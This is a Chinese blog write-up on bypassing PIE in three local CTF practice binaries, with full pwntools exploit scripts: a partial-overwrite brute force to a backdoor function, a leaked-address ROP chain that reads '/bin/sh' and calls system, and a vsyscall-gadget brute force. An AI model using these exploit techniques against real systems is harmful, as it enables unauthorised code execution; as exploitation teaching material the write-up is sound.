Pie Bypass

pie绕过

关于PIE绕过的学习

学习pwn也有很长一段时间了,虽然在栈溢出、格式化字符串漏洞、堆漏洞上都有涉猎,但大多时候程序的保护并没有开启,偶然浏览到一位师傅的博客萌发了学习pie绕过的想法。

博客地址:https://www.cnblogs.com/Junglezt/p/18253924

程序链接:pie-bypass

bypass1

在ida中代码段的地址就已经很说明问题了,这里的地址显示的都只有后位,这是因为程序开了pie导致的。pie造成的结构可以结合操作系统的分页机制来理解,现代计算机的一页一般是1000字节,程序从磁盘加载到虚拟内存的过程会加上页面的数量,这里讨论linux下的分页机制。

gdb随便调试一个程序,在vmmap中可以看到分页的偏移量都是1000字节

对于一个程序的地址有如下公式:

实际地址 = 原来地址 + n * 1000 (n=0,1,2……)

依据上面的公式有一个重要结论:程序的最低三位是不会变的。这也是为什么ida中只会显示地址最低三位的值的原因,在攻击中需要覆盖两个字节来修改为后门函数的地址,这两个字节中有四个十六进制数,也就是下面红色标出的,是确定的。还有一个十六进制数有十六种可能,需要进行爆破。

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
from pwn import *
context.log_level = 'debug'

count = 1
while True:
	p = process("./pie_bypass1")
	try:
		info(f"-> {count}")
		padding = 0x1c
		payload = b'a' * padding + b"\xF0" + b"\xF6"  # 假定那一位为F
		p.sendafter(b"!\n", payload)
		count += 1
		recv = p.recv(timeout=10)
	except:
		warn("fail...")
	else:
		p.interactive()
		break

爆破了21次拿到了shell

bypass2

函数会输出栈上的一个地址

临时关闭aslr就会发现该地址值就不会变化了,这是因为aslr的关闭导致的pie失效

因此可以写一个脚本输出每次的pie偏移量

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
# 运行在aslr=2的环境下
from pwn import *
context.log_level = 'debug'

p = process("./pie_bypass2")
no_pie_addr = 0x555555400951
stack_addr = int(p.recv()[1:15], 16)

pie_offset = stack_addr - no_pie_addr
success(f"pie_offset:{hex(pie_offset)}")

如果存在后门函数后续就可以先查看没有pie的时候地址加上pie_offset即可

当然这个程序并没有有效的后门函数,后面的利用基本围绕ROP展开,因此知道整体的偏移比pie_offset更重要

输出的地址不是没有意义的,rbp+8h为函数的返回地址

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
__int64 message_board()
{
  char buf[48]; // [rsp+0h] [rbp-30h] BYREF
  void *retaddr; // [rsp+38h] [rbp+8h]

  setvbuf(_bss_start, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  printf(" %#lx what? =_=i \n", retaddr);
  read(0, buf, 0x78uLL);
  return 0LL;
}

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import *
context.log_level = 'debug'

p = process("./pie_bypass2")
elf = ELF("./pie_bypass2")
ret_addr = int(p.recv()[1:15], 16) # main+14
main_addr = 0x943

offset = ret_addr - 14 - main_addr
success(f"offset={hex(offset)}")

def add_offset(addr, offset = offset):
	return addr + offset

padding = 0x38
pop_rdi = 0x9c3
pop_rsi_r15 = 0x9c1
read_addr = 0x740
system_addr = 0x720
buf = 0x202000 - 0x20
ret_addr = 0x288

# ret2csu
# read(0,buf,rdx)  rdx为任意值可不用设置
payload = padding * b'a'
payload += p64(add_offset(ret_addr))
payload += p64(add_offset(pop_rdi))
payload += p64(0) # rdi
payload += p64(add_offset(pop_rsi_r15))
payload += p64(add_offset(buf)) # rsi
payload += p64(0) # r15
payload += p64(add_offset(read_addr))
payload += p64(add_offset(main_addr))

p.send(payload)
p.send(b"/bin/sh\x00")

# system(buf)
payload = b'A' * padding
payload += p64(add_offset(ret_addr))
payload += p64(add_offset(pop_rdi))
payload += p64(add_offset(buf)) # rdi
payload += p64(add_offset(system_addr))

p.sendafter(b"=_=i \n", payload)
p.interactive()

bypass3

主要利用vsyscall中gadgets进行getshell

vsyscall主要用于轻量级的系统调用,由于其地址不会变化常用于ROP利用,linux3.5开始vsyscall逐渐被弃用,本地环境内核版本过高无法复现,就不展开说明了

原文exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *

vsyscall = 0xffffffffff600000
padding = 0x10 + 8
payload = b"A" * padding 
payload += p64(vsyscall) * 5
payload += b"\xfc" + b"\xc2"

count = 0
while True:
	try:
		count += 1
		print(count,end=' ')
		p = process("./pie_bypass3")
		p.recvuntil("Leave a message!\n")
		p.send(payload)
		p.recv(timeout=10)
	except:
		print("error")
	else:
		p.interactive()
		break
使用 Hugo 构建
主题 StackJimmy 设计